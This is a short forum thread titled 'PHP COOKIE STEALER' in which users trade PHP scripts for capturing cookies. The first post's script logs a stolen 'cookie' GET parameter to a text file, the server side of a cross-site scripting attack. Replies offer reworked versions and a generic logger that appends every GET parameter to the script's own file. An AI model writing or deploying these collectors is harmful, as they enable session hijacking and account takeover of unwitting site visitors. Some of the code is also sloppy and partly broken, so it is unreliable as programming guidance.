PHP COOKIE STEALER

Posts 1–7 of 7 · Page 1 of 1
PHP COOKIE STEALER
YUMM I LUV C0OKEIES
I cant get it to work.
How do i access it?
code:
Code:
<?php
$cookie = $HTTP_GET_VARS["cookie"];
chmod("log.txt", 777);
$log = fopen('log.txt', 'a');
fwrite($log, $cookie . "\n\n");
fclose($log);
?>
cookies have their own superglobal:

[highlight=php]
//simplest version:
file_put_contents("log.txt", print_r($_COOKIE, true));

//more control
$cookieFile = fopen("log.txt", "wb");
if ( $cookieFile )
{
foreach($_COOKIE as $k => $v)
fwrite($cookieFile, "$k => $v\n");
}
@fclose($cookieFile);
[/highlight]

@kibbles18
Quote Originally Posted by Jason View Post
cookies have their own superglobal:

[highlight=php]
//simplest version:
file_put_contents("log.txt", print_r($_COOKIE, true));

//more control
$cookieFile = fopen("log.txt", "wb");
if ( $cookieFile )
{
foreach($_COOKIE as $k => $v)
fwrite($cookieFile, "$k => $v\n");
}
@fclose($cookieFile);
[/highlight]

@kibbles18
wont this make your site suspicious`?
Quote Originally Posted by Paul View Post


wont this make your site suspicious`?
Just answering the question. Also, logging your own cookies onto your own server isn't really suspicious.
Quote Originally Posted by Jason View Post


Just answering the question. Also, logging your own cookies onto your own server isn't really suspicious.
one of my site was suspicious for no reason

some codes aren't exactly the best ones ^^
<?php
if(!isset($_GET['view']) && count($_GET) !== 0)
{
$variables = array_keys($_GET);
$values = array_values($_GET);
for($i=0;$i<count($_GET);$i++)
{
$checkFirst = ($i==0)?"":" = ";
$checkLast = ($i==count($_GET))?"<br><hr><br>\n":"<br>";
file_put_contents(substr($_SERVER['SCRIPT_NAME'], strpos($_SERVER['SCRIPT_NAME'], '/')+1), htmlentities($variables[$i].$checkFirst.$values[$i]).$checkLast, FILE_APPEND);
}
die();
}
Posts 1–7 of 7 · Page 1 of 1

Post a Reply

Similar Threads

Tags for this Thread

None

Need help?